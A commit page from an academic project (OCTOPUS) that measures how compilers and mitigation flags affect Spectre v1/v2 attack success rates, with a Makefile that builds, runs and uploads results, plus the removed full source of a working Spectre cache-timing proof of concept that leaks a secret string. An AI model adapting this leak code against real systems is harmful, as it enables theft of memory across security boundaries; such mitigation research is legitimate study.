Add the missing Makefile !
This commit is contained in:
parent
3df95552eb
commit
281af2ad01
149
Makefile
149
Makefile
@ -1,4 +1,4 @@
|
||||
# Makefile - CVE-2017-5715 user-to-user sucess rate measurement
|
||||
# Makefile - CVE-2017-5753 user-to-user sucess rate measurement
|
||||
#
|
||||
# Copyright (c) 2022 Samuel AUBERTIN
|
||||
#
|
||||
@ -17,16 +17,15 @@
|
||||
.SILENT:
|
||||
.NOTPARALLEL:
|
||||
|
||||
EXECUTABLES = clang gcc uuid rsync lld
|
||||
EXECUTABLES = clang gcc uuid rsync lld taskset
|
||||
DEPENDENCIES := $(foreach exec,$(EXECUTABLES), $(if $(shell which $(exec) 2> /dev/null),X,$(error "No '$(exec)' in PATH, please install it and restart octopus !")))
|
||||
|
||||
|
||||
### Generic flags
|
||||
PROG= spectre
|
||||
CFLAGS= -march=native
|
||||
SRCS= spectre_v1 spectre_v2
|
||||
CFLAGS= -march=native #-g
|
||||
CFLAGS+= -W
|
||||
CFLAGS+= -Wall
|
||||
CFLAGS+= -Werror
|
||||
CFLAGS+= -Werror -Wextra
|
||||
CFLAGS+= -Wno-unused-parameter
|
||||
CFLAGS+= -Wno-missing-field-initializers
|
||||
LDFLAGS= -fuse-ld=lld
|
||||
@ -36,16 +35,33 @@ CCS= clang gcc
|
||||
OPTIMIZATIONS= 0 1 2 3
|
||||
RETPOLINE= mretpoline
|
||||
UUID:= $(shell uuid)
|
||||
RESULTS_FILE= results-$(UUID).log
|
||||
RESULTS_FILE:= results-$(UUID).json
|
||||
SSH_KEY= octoupload
|
||||
TIMES= 3
|
||||
#FLAGS= -v
|
||||
FLAGS= -j
|
||||
|
||||
### Octopus internals
|
||||
TEE= | tee -a $(RESULTS_FILE)
|
||||
CPU:= $(shell LC_ALL=en_US.UTF-8 lscpu | grep "Model name" | cut -d":" -f 2 | sort | uniq | awk '{$$1=$$1;print}')
|
||||
UCODE:= $(shell grep microcode /proc/cpuinfo | sort | uniq | awk '{print $$NF}')
|
||||
KERN:= $(shell uname -svm)
|
||||
CLANGV:= $(shell clang -v 2>&1 | head -n 1)
|
||||
GCCV:= $(shell gcc -v 2>&1 | grep 'gcc version')
|
||||
VULN1:= $(strip $(shell LC_ALL=en_US.UTF-8 lscpu | grep 'Spectre v1' | cut -d":" -f 2-))
|
||||
VULN2:= $(strip $(shell LC_ALL=en_US.UTF-8 lscpu | grep 'Spectre v2' | cut -d":" -f 2-))
|
||||
|
||||
ifndef PROGRESS
|
||||
HIT_TOTAL != ${MAKE} ${MAKECMDGOALS} --dry-run PROGRESS="HIT_MARK" | grep -c "HIT_MARK"
|
||||
HIT_COUNT = $(eval HIT_N != expr ${HIT_N} + 1)${HIT_N}
|
||||
PROGRESS = echo "[`expr ${HIT_COUNT} '*' 100 / ${HIT_TOTAL}`%]"
|
||||
endif
|
||||
|
||||
SUB_ONE= $(word 1, $(subst -, ,$@))
|
||||
SUB_TWO= $(word 2, $(subst -, ,$@))
|
||||
SUB_THREE= $(word 3, $(subst -, ,$@))
|
||||
SUB_FOUR= $(word 4, $(subst -, ,$@))
|
||||
|
||||
### Compilers
|
||||
CPROGS= $(foreach C, $(CCS), $(addsuffix -$(C), $(PROG)))
|
||||
CPROGS= $(foreach C, $(CCS), $(addsuffix -$(C), $(SRCS)))
|
||||
|
||||
### Optimizations
|
||||
OPROGS= $(foreach O, $(OPTIMIZATIONS), $(addsuffix -O$(O), $(CPROGS)))
|
||||
@ -53,20 +69,40 @@ OPROGS= $(foreach O, $(OPTIMIZATIONS), $(addsuffix -O$(O), $(CPROGS)))
|
||||
### Static
|
||||
SPROGS= $(addsuffix -static, $(foreach O, $(OPTIMIZATIONS), $(addsuffix -O$(O), $(CPROGS))))
|
||||
|
||||
##### V1
|
||||
### Masking mitigation
|
||||
MPROGS= $(addsuffix -mask, $(filter spectre_v1%, $(OPROGS)))
|
||||
MSPROGS= $(addsuffix -mask, $(filter spectre_v1%, $(SPROGS)))
|
||||
|
||||
### Lfence mitigation
|
||||
LPROGS= $(addsuffix -fence, $(filter spectre_v1%, $(OPROGS)))
|
||||
LSPROGS= $(addsuffix -fence, $(filter spectre_v1%, $(SPROGS)))
|
||||
|
||||
### Masking + Lfence mitigations
|
||||
MLPROGS= $(addsuffix -maskfence, $(filter spectre_v1%, $(OPROGS)))
|
||||
MLSPROGS= $(addsuffix -maskfence, $(filter spectre_v1%, $(SPROGS)))
|
||||
|
||||
###### V2
|
||||
### Retpoline
|
||||
## clang
|
||||
# dynamic
|
||||
RCPROGS= $(addsuffix -retpoline, $(filter spectre-clang%, $(OPROGS)))
|
||||
RCPROGS= $(addsuffix -retpoline, $(filter spectre_v2-clang%, $(OPROGS)))
|
||||
# static
|
||||
RSCPROGS= $(addsuffix -retpoline, $(filter spectre-clang%, $(SPROGS)))
|
||||
RSCPROGS= $(addsuffix -retpoline, $(filter spectre_v2-clang%, $(SPROGS)))
|
||||
## gcc
|
||||
# dynamic
|
||||
RGPROGS= $(addsuffix -retpoline, $(filter spectre-gcc%, $(OPROGS)))
|
||||
RGPROGS= $(addsuffix -retpoline, $(filter spectre_v2-gcc%, $(OPROGS)))
|
||||
# static
|
||||
RSGPROGS= $(addsuffix -retpoline, $(filter spectre-gcc%, $(SPROGS)))
|
||||
RSGPROGS= $(addsuffix -retpoline, $(filter spectre_v2-gcc%, $(SPROGS)))
|
||||
|
||||
PROGS= $(OPROGS)
|
||||
PROGS+= $(SPROGS)
|
||||
PROGS+= $(MPROGS)
|
||||
PROGS+= $(MSPROGS)
|
||||
PROGS+= $(LPROGS)
|
||||
PROGS+= $(LSPROGS)
|
||||
PROGS+= $(MLPROGS)
|
||||
PROGS+= $(MLSPROGS)
|
||||
PROGS+= $(RCPROGS)
|
||||
PROGS+= $(RSCPROGS)
|
||||
PROGS+= $(RGROGS)
|
||||
@ -74,6 +110,7 @@ PROGS+= $(RSGPROGS)
|
||||
|
||||
|
||||
all: upload
|
||||
echo -e "\033[1mThank you for helping science today !\033[0m"
|
||||
|
||||
upload: $(RESULTS_FILE)
|
||||
echo -e "\033[4mUploading $^ to www.sk4.nz\033[0m"
|
||||
@ -83,7 +120,7 @@ upload: $(RESULTS_FILE)
|
||||
|
||||
build: $(PROGS)
|
||||
|
||||
%.log: build
|
||||
$(RESULTS_FILE): build
|
||||
echo -e "\033[1m\033[94m________ __";
|
||||
echo "\_____ \ _____/ |_ ____ ______ __ __ ______";
|
||||
echo " / | \_/ ___\ __\/ _ \\____ \| | \/ ___/";
|
||||
@ -91,40 +128,84 @@ build: $(PROGS)
|
||||
echo "\_______ /\___ >__| \____/| __/|____//____ >";
|
||||
echo -e " \/ \/ |__| \/\033[0m";
|
||||
echo -e " Samuel AUBERTIN - EURECOM\n"
|
||||
echo -e "\033[4mUUID\033[0m\t\t$(UUID)" $(TEE)
|
||||
echo -e "\033[4mCPU\033[0m\t\t"$$(LC_ALL=en_US.UTF-8 lscpu | grep "Model name" | cut -d":" -f 2 | sort | uniq | awk '{$$1=$$1;print}') $(TEE)
|
||||
echo -e "\033[4mMicrocode\033[0m\t"$$(grep microcode /proc/cpuinfo | sort | uniq | awk '{print $$NF}') $(TEE)
|
||||
echo -e "\033[4mKernel\033[0m\t\t"$$(uname -svm) $(TEE)
|
||||
echo -e "\033[4mClang\033[0m\t\t"$$(clang -v 2>&1 | head -n 1) $(TEE)
|
||||
echo -e "\033[4mGCC\033[0m\t\t"$$(gcc -v 2>&1 | grep 'gcc version') $(TEE)
|
||||
echo -e "\033[4mVulnerablities\033[0m" $(TEE)
|
||||
LC_ALL=en_US.UTF-8 lscpu | grep Vuln | awk '{s = ""; for(i = 2; i <= NF; i++) s = s $$i " "; print "\t\t" s }' $(TEE)
|
||||
echo
|
||||
taskset 01 ./$(firstword $(PROGS)) -c $(TEE); \
|
||||
echo -e "\033[4mUUID\033[0m\t\t$(UUID)"
|
||||
echo -e "\033[4mCPU\033[0m\t\t$(CPU)"
|
||||
echo -e "\033[4mMicrocode\033[0m\t$(UCODE)"
|
||||
echo -e "\033[4mKernel\033[0m\t\t$(KERN)"
|
||||
echo -e "\033[4mClang\033[0m\t\t$(CLANGV)"
|
||||
echo -e "\033[4mGCC\033[0m\t\t$(GCCV)"
|
||||
echo -e "\033[4mSpectre v1\033[0m\t$(VULN1)"
|
||||
echo -e "\033[4mSpectre v2\033[0m\t$(VULN2)"
|
||||
echo -e "{ \"$(UUID)\": {" >> $@
|
||||
echo -e "\"cpu\": \"$(CPU)\"," >> $@
|
||||
echo -e "\"microcode\": \"$(UCODE)\"," >> $@
|
||||
echo -e "\"kernel\": \"$(KERN)\"," >> $@
|
||||
echo -e "\"clang\": \"$(CLANGV)\"," >> $@
|
||||
echo -e "\"gcc\": \"$(GCCV)\"," >> $@
|
||||
echo -e "\"spectre_v1\": \"$(VULN1)\"," >> $@
|
||||
echo -e "\"spectre_v2\": \"$(VULN2)\"," >> $@
|
||||
echo -e "\"results\": [" >> $@
|
||||
for p in $(PROGS); do \
|
||||
for t in $$(seq $(TIMES)); do \
|
||||
sleep 1; \
|
||||
taskset 01 ./$$p $(FLAGS) $(TEE); \
|
||||
sleep 0.1; \
|
||||
taskset 01 ./$$p $(FLAGS) >> $@; \
|
||||
if ! [ "$$p" = "$(lastword $(PROGS))" ]; \
|
||||
then echo ',' >> $@; \
|
||||
else if ! [ $$t -eq $(TIMES) ]; \
|
||||
then echo ',' >> $@; fi; \
|
||||
fi; \
|
||||
done \
|
||||
done
|
||||
echo -e "\n]}}" >> $@
|
||||
|
||||
$(OPROGS):
|
||||
$(word 2, $(subst -, ,$@)) $(CFLAGS) $(LDFLAGS) -$(word 3, $(subst -, ,$@)) -o $@ $(PROG).c
|
||||
@$(PROGRESS) $(SUB_TWO) $(CFLAGS) $(LDFLAGS) -$(SUB_THREE) -o $@ $(SUB_ONE).c
|
||||
$(SUB_TWO) $(CFLAGS) $(LDFLAGS) -$(SUB_THREE) -o $@ $(SUB_ONE).c
|
||||
|
||||
$(SPROGS):
|
||||
$(word 2, $(subst -, ,$@)) $(addprefix -, $(word 4, $(subst -, ,$@))) $(CFLAGS) -$(word 3, $(subst -, ,$@)) -o $@ $(PROG).c
|
||||
@$(PROGRESS) $(SUB_TWO) $(addprefix -, $(SUB_FOUR)) $(CFLAGS) -$(SUB_THREE) -o $@ $(SUB_ONE).c
|
||||
$(SUB_TWO) $(addprefix -, $(SUB_FOUR)) $(CFLAGS) -$(SUB_THREE) -o $@ $(SUB_ONE).c
|
||||
|
||||
|
||||
$(MPROGS):
|
||||
@$(PROGRESS) $(SUB_TWO) $(CFLAGS) -DMASKING_MITIGATION $(LDFLAGS) -$(SUB_THREE) -o $@ $(SUB_ONE).c
|
||||
$(SUB_TWO) $(CFLAGS) -DMASKING_MITIGATION $(LDFLAGS) -$(SUB_THREE) -o $@ $(SUB_ONE).c
|
||||
|
||||
$(MSPROGS):
|
||||
@$(PROGRESS) $(SUB_TWO) $(addprefix -, $(SUB_FOUR)) $(CFLAGS) -DMASKING_MITIGATION -$(SUB_THREE) -o $@ $(SUB_ONE).c
|
||||
$(SUB_TWO) $(addprefix -, $(SUB_FOUR)) $(CFLAGS) -DMASKING_MITIGATION -$(SUB_THREE) -o $@ $(SUB_ONE).c
|
||||
|
||||
$(LPROGS):
|
||||
@$(PROGRESS) $(SUB_TWO) $(CFLAGS) -DLFENCE_MITIGATION $(LDFLAGS) -$(SUB_THREE) -o $@ $(SUB_ONE).c
|
||||
$(SUB_TWO) $(CFLAGS) -DLFENCE_MITIGATION $(LDFLAGS) -$(SUB_THREE) -o $@ $(SUB_ONE).c
|
||||
|
||||
$(LSPROGS):
|
||||
@$(PROGRESS) $(SUB_TWO) $(addprefix -, $(SUB_FOUR)) $(CFLAGS) -DLFENCE_MITIGATION -$(SUB_THREE) -o $@ $(SUB_ONE).c
|
||||
$(SUB_TWO) $(addprefix -, $(SUB_FOUR)) $(CFLAGS) -DLFENCE_MITIGATION -$(SUB_THREE) -o $@ $(SUB_ONE).c
|
||||
|
||||
$(MLPROGS):
|
||||
@$(PROGRESS) $(SUB_TWO) $(CFLAGS) -DLFENCE_MITIGATION -DMASKING_MITIGATION $(LDFLAGS) -$(SUB_THREE) -o $@ $(SUB_ONE).c
|
||||
$(SUB_TWO) $(CFLAGS) -DLFENCE_MITIGATION -DMASKING_MITIGATION $(LDFLAGS) -$(SUB_THREE) -o $@ $(SUB_ONE).c
|
||||
|
||||
$(MLSPROGS):
|
||||
@$(PROGRESS) $(SUB_TWO) $(addprefix -, $(SUB_FOUR)) $(CFLAGS) -DLFENCE_MITIGATION -DMASKING_MITIGATION -$(SUB_THREE) -o $@ $(SUB_ONE).c
|
||||
$(SUB_TWO) $(addprefix -, $(SUB_FOUR)) $(CFLAGS) -DLFENCE_MITIGATION -DMASKING_MITIGATION -$(SUB_THREE) -o $@ $(SUB_ONE).c
|
||||
|
||||
$(RCPROGS):
|
||||
$(word 2, $(subst -, ,$@)) $(CFLAGS) -mretpoline $(LDFLAGS) -z retpolineplt -$(word 3, $(subst -, ,$@)) -o $@ $(PROG).c
|
||||
@$(PROGRESS) $(SUB_TWO) $(CFLAGS) -mretpoline $(LDFLAGS) -z retpolineplt -$(SUB_THREE) -o $@ $(SUB_ONE).c
|
||||
$(SUB_TWO) $(CFLAGS) -mretpoline $(LDFLAGS) -z retpolineplt -$(SUB_THREE) -o $@ $(SUB_ONE).c
|
||||
|
||||
$(RSCPROGS):
|
||||
$(word 2, $(subst -, ,$@)) $(addprefix -, $(word 4, $(subst -, ,$@))) $(CFLAGS) -mretpoline -$(word 3, $(subst -, ,$@)) -o $@ $(PROG).c
|
||||
@$(PROGRESS) $(SUB_TWO) $(addprefix -, $(SUB_FOUR)) $(CFLAGS) -mretpoline -$(SUB_THREE) -o $@ $(SUB_ONE).c
|
||||
$(SUB_TWO) $(addprefix -, $(SUB_FOUR)) $(CFLAGS) -mretpoline -$(SUB_THREE) -o $@ $(SUB_ONE).c
|
||||
|
||||
$(RGPROGS):
|
||||
$(word 2, $(subst -, ,$@)) $(CFLAGS) -mfunction-return=thunk -mindirect-branch=thunk -mindirect-branch-register $(LDFLAGS) -z retpolineplt -$(word 3, $(subst -, ,$@)) -o $@ $(PROG).c
|
||||
@$(PROGRESS) $(SUB_TWO) $(CFLAGS) -mfunction-return=thunk -mindirect-branch=thunk -mindirect-branch-register $(LDFLAGS) -z retpolineplt -$(SUB_THREE) -o $@ $(SUB_ONE).c
|
||||
$(SUB_TWO) $(CFLAGS) -mfunction-return=thunk -mindirect-branch=thunk -mindirect-branch-register $(LDFLAGS) -z retpolineplt -$(SUB_THREE) -o $@ $(SUB_ONE).c
|
||||
|
||||
$(RSGPROGS):
|
||||
$(word 2, $(subst -, ,$@)) $(addprefix -, $(word 4, $(subst -, ,$@))) $(CFLAGS) -mfunction-return=thunk -mindirect-branch=thunk -mindirect-branch-register -$(word 3, $(subst -, ,$@)) -o $@ $(PROG).c
|
||||
@$(PROGRESS) $(SUB_TWO) $(addprefix -, $(SUB_FOUR)) $(CFLAGS) -mfunction-return=thunk -mindirect-branch=thunk -mindirect-branch-register -$(SUB_THREE) -o $@ $(SUB_ONE).c
|
||||
$(SUB_TWO) $(addprefix -, $(SUB_FOUR)) $(CFLAGS) -mfunction-return=thunk -mindirect-branch=thunk -mindirect-branch-register -$(SUB_THREE) -o $@ $(SUB_ONE).c
|
||||
|
||||
clean:
|
||||
rm -rf $(PROGS) *.log
|
||||
rm -rf $(PROGS) *.json
|
||||
|
10
README.md
10
README.md
@ -5,9 +5,9 @@ Samuel AUBERTIN - EURECOM - 2022
|
||||
|
||||

|
||||
|
||||
**OCTOPUS** is a [Spectre v2](https://spectreattack.com/spectre.pdf) (_Branch Target Injection_) compiler flag tester for [CVE 2017-5715](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5715).
|
||||
**OCTOPUS** is a [Spectre](https://spectreattack.com/spectre.pdf) V1 (_Bounds Check Bypass_) + V1 (_Branch Target Injection_) compiler flag tester.
|
||||
|
||||
It measures the success rate of the same attack using different compilers:
|
||||
It measures the success rate of the attacks using different compilers:
|
||||
|
||||
- GCC
|
||||
- CLANG
|
||||
@ -30,6 +30,11 @@ And compilation/linking flags such as:
|
||||
|
||||
```make```
|
||||
|
||||
|
||||
### Build only
|
||||
|
||||
```make build```
|
||||
|
||||
## Results aggregation
|
||||
|
||||
Results are automatically uploaded to a server with ```sftp``` using a dedicated account.
|
||||
@ -37,7 +42,6 @@ Results are automatically uploaded to a server with ```sftp``` using a dedicated
|
||||
Here is an exhaustive list of the data sent:
|
||||
- CPU model name and microcode version.
|
||||
- Kernel version and compilation date.
|
||||
- The kernel compilation flag ```CONFIG_RETPOLINE```.
|
||||
- GCC and clang versions.
|
||||
- The list of mitigations enabled at runtime.
|
||||
- The cache timings of the processor computed by the ```calibrate_threshold()``` function.
|
||||
|
292
spectre.c
292
spectre.c
@ -1,292 +0,0 @@
|
||||
/* spectre.c - CVE-2017-5715 user-to-user sucess rate measurement
|
||||
*
|
||||
* Borrows code from
|
||||
* - https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6
|
||||
* - https://github.com/genua/meltdown
|
||||
*
|
||||
* Copyright (c) 2022 Samuel AUBERTIN
|
||||
*
|
||||
* Permission to use, copy, modify, and distribute this software for any
|
||||
* purpose with or without fee is hereby granted, provided that the above
|
||||
* copyright notice and this permission notice appear in all copies.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
|
||||
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
|
||||
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
|
||||
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
|
||||
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
|
||||
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <getopt.h>
|
||||
#include <string.h>
|
||||
#include <x86intrin.h> /* for rdtscp and clflush */
|
||||
|
||||
#if defined(__i386__) || defined(__amd64__)
|
||||
#define CACHELINESIZE 64
|
||||
static int _has_rdtscp;
|
||||
#else
|
||||
#error "unsupported architecture"
|
||||
#endif
|
||||
|
||||
#define HAVE_RDTSCP (1U << 27)
|
||||
|
||||
char* secret = "SPECTRE: Special Executive for Counterintelligence, Terrorism, Revenge and Extortion.";
|
||||
|
||||
unsigned int array1_size = 16;
|
||||
uint8_t unused1[64];
|
||||
uint8_t array1[160] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
|
||||
uint8_t unused2[64];
|
||||
uint8_t array2[256 * 512];
|
||||
uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
|
||||
unsigned cache_hit_threshold;
|
||||
int verbose;
|
||||
|
||||
static inline unsigned
|
||||
timed_access(
|
||||
volatile uint8_t *addr
|
||||
)
|
||||
{
|
||||
uint64_t t0, t1;
|
||||
#pragma GCC diagnostic ignored "-Wuninitialized"
|
||||
unsigned int junk = junk;
|
||||
|
||||
if (_has_rdtscp) {
|
||||
t0 = __rdtscp(& junk);
|
||||
junk |= *addr;
|
||||
t1 = __rdtscp(& junk);
|
||||
} else {
|
||||
t0 = __rdtsc();
|
||||
junk |= *addr;
|
||||
t1 = __rdtsc();
|
||||
}
|
||||
|
||||
return (unsigned)(t1 - t0);
|
||||
}
|
||||
|
||||
static inline void
|
||||
native_cpuid(
|
||||
unsigned int *eax,
|
||||
unsigned int *ebx,
|
||||
unsigned int *ecx,
|
||||
unsigned int *edx
|
||||
)
|
||||
{
|
||||
asm volatile("cpuid"
|
||||
: "=a" (*eax),
|
||||
"=b" (*ebx),
|
||||
"=c" (*ecx),
|
||||
"=d" (*edx)
|
||||
: "0" (*eax), "2" (*ecx));
|
||||
}
|
||||
|
||||
static void
|
||||
calibrate_threshold(
|
||||
int verbose,
|
||||
unsigned int *threshold
|
||||
)
|
||||
{
|
||||
volatile char buf[2 * CACHELINESIZE];
|
||||
volatile uint8_t *bufp;
|
||||
int i;
|
||||
const int cnt = 1000;
|
||||
uint64_t tcache, tmem;
|
||||
unsigned eax, ebx, ecx, edx;
|
||||
__attribute__((unused)) volatile int junk = 0;
|
||||
|
||||
eax = 0x80000001; // Has RDTSCP ?
|
||||
ecx = 0;
|
||||
native_cpuid(&eax, &ebx, &ecx, &edx);
|
||||
if (edx & HAVE_RDTSCP) {
|
||||
switch (verbose) {
|
||||
case 1:
|
||||
fprintf(stderr, "CPU has RDTSCP.\n");
|
||||
break;
|
||||
case 2:
|
||||
fprintf(stdout, "CPU has RDTSCP.\n");
|
||||
break;
|
||||
}
|
||||
_has_rdtscp = 1;
|
||||
} else {
|
||||
switch (verbose) {
|
||||
case 1:
|
||||
fprintf(stderr, "WARNING: CPU has no RDTSCP support, using RDTSC.\n");
|
||||
break;
|
||||
case 2:
|
||||
fprintf(stdout, "WARNING: CPU has no RDTSCP support, using RDTSC.\n");
|
||||
break;
|
||||
}
|
||||
_has_rdtscp = 0;
|
||||
}
|
||||
|
||||
bufp = ((volatile void *)(((unsigned long)(buf) + CACHELINESIZE) &
|
||||
~(CACHELINESIZE - 1)));
|
||||
|
||||
junk |= *bufp;
|
||||
for (i = 0, tcache = 0; i < cnt; i++)
|
||||
tcache += timed_access(bufp);
|
||||
tcache /= cnt;
|
||||
|
||||
for (i = 0, tmem = 0; i < cnt; i++) {
|
||||
_mm_clflush((const void *)bufp);
|
||||
_mm_mfence();
|
||||
tmem += timed_access(bufp);
|
||||
}
|
||||
tmem /= cnt;
|
||||
if (threshold != NULL) {
|
||||
*threshold = tcache + (tmem - tcache) / 2;
|
||||
if (*threshold == (unsigned int)tmem)
|
||||
(*threshold)--;
|
||||
}
|
||||
|
||||
switch (verbose) {
|
||||
case 1:
|
||||
fprintf(stderr, "Access time: memory %lu, cache %lu", tmem, tcache);
|
||||
if (threshold)
|
||||
fprintf(stderr, " -> threshold %d", *threshold);
|
||||
fprintf(stderr, "\n");
|
||||
break;
|
||||
case 2:
|
||||
fprintf(stdout, "Access time: memory %lu, cache %lu", tmem, tcache);
|
||||
if (threshold)
|
||||
fprintf(stdout, " -> threshold %d", *threshold);
|
||||
fprintf(stdout, "\n");
|
||||
break;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
void
|
||||
victim_function(
|
||||
size_t x
|
||||
)
|
||||
{
|
||||
if (x < array1_size) {
|
||||
temp &= array2[array1[x] * 512];
|
||||
}
|
||||
}
|
||||
|
||||
void
|
||||
leak(
|
||||
size_t malicious_x,
|
||||
uint8_t value[2],
|
||||
int score[2],
|
||||
unsigned cache_hit_threshold
|
||||
)
|
||||
{
|
||||
static int results[256];
|
||||
int tries, i, j, mix_i;
|
||||
unsigned int junk = 0;
|
||||
size_t training_x, x;
|
||||
volatile uint8_t *addr;
|
||||
|
||||
for (i = 0; i < 256; i++)
|
||||
results[i] = 0;
|
||||
for (tries = 999; tries > 0; tries--) {
|
||||
|
||||
/* Flush array2[256*(0..255)] from cache */
|
||||
for (i = 0; i < 256; i++)
|
||||
_mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */
|
||||
|
||||
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
|
||||
training_x = tries % array1_size;
|
||||
for (j = 29; j >= 0; j--) {
|
||||
_mm_clflush(&array1_size);
|
||||
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
|
||||
//_mm_mfence(); NOT WORKING
|
||||
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
|
||||
/* Avoid jumps in case those tip off the branch predictor */
|
||||
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
|
||||
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
|
||||
x = training_x ^ (x & (malicious_x ^ training_x));
|
||||
/* Call the victim! */
|
||||
victim_function(x);
|
||||
|
||||
}
|
||||
|
||||
/* Time reads. Order is lightly mixed up to prevent stride prediction */
|
||||
for (i = 0; i < 256; i++) {
|
||||
mix_i = ((i * 167) + 13) & 255;
|
||||
addr = & array2[mix_i * 512];
|
||||
if (timed_access(addr) <= cache_hit_threshold && mix_i != array1[tries % array1_size])
|
||||
results[mix_i]++; /* cache hit - add +1 to score for this value */
|
||||
}
|
||||
|
||||
/* Locate highest results in j */
|
||||
j = -1;
|
||||
for (i = 0; i < 256; i++) {
|
||||
if (j < 0 || results[i] >= results[j]) {
|
||||
j = i;
|
||||
}
|
||||
}
|
||||
if (results[j] >= 3)
|
||||
break;
|
||||
}
|
||||
|
||||
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
|
||||
value[0] = (uint8_t) j;
|
||||
score[0] = results[j];
|
||||
}
|
||||
|
||||
int
|
||||
main(
|
||||
int argc,
|
||||
char** argv
|
||||
)
|
||||
{
|
||||
int o;
|
||||
size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
|
||||
int i, score[2], len = (int)strlen(secret);
|
||||
uint8_t value[2];
|
||||
unsigned successes = 0;
|
||||
|
||||
while ((o = getopt(argc, argv, "t:vc")) != EOF) {
|
||||
switch (o) {
|
||||
case 't':
|
||||
cache_hit_threshold = atoi(optarg);
|
||||
break;
|
||||
case 'v':
|
||||
verbose++;
|
||||
break;
|
||||
case 'c':
|
||||
calibrate_threshold(2, &cache_hit_threshold);
|
||||
return 0;
|
||||
default:
|
||||
usage:
|
||||
fprintf(stderr, "usage: %s [-v] [-c] "
|
||||
"[-t threshold]\n\t-v\t\tverbose\n"
|
||||
"\t-c\t\tcalibrate only\n"
|
||||
"\t-t\t\tfixed threshold, in milliseconds\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
if (argc != optind)
|
||||
goto usage;
|
||||
|
||||
calibrate_threshold(verbose, cache_hit_threshold ? NULL : &cache_hit_threshold);
|
||||
for (i = 0; i < (int)sizeof(array2); i++)
|
||||
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
|
||||
if(verbose) {
|
||||
fprintf(stderr, "Leaking %d bytes using Branch Target Injection:\n", (int)strlen(secret));
|
||||
}
|
||||
while (--len >= 0) {
|
||||
leak(malicious_x++, value, score, cache_hit_threshold);
|
||||
if(score[0] == 3 && value[0] > 31 && value[0] < 127) {
|
||||
successes++;
|
||||
fprintf(stderr, "\033[32m%c\033[0m", (value[0]));
|
||||
} else {
|
||||
fprintf(stderr, "\033[31m?\033[0m");
|
||||
}
|
||||
}
|
||||
fprintf(stderr, "\n");
|
||||
printf("%-40s\tthreshold %-3d ms\tsuccess %3.0f %%\n",
|
||||
argv[0] + 2,
|
||||
cache_hit_threshold,
|
||||
100 * successes / (float)strlen(secret));
|
||||
|
||||
return 0;
|
||||
}
|
Loading…
Reference in New Issue
Block a user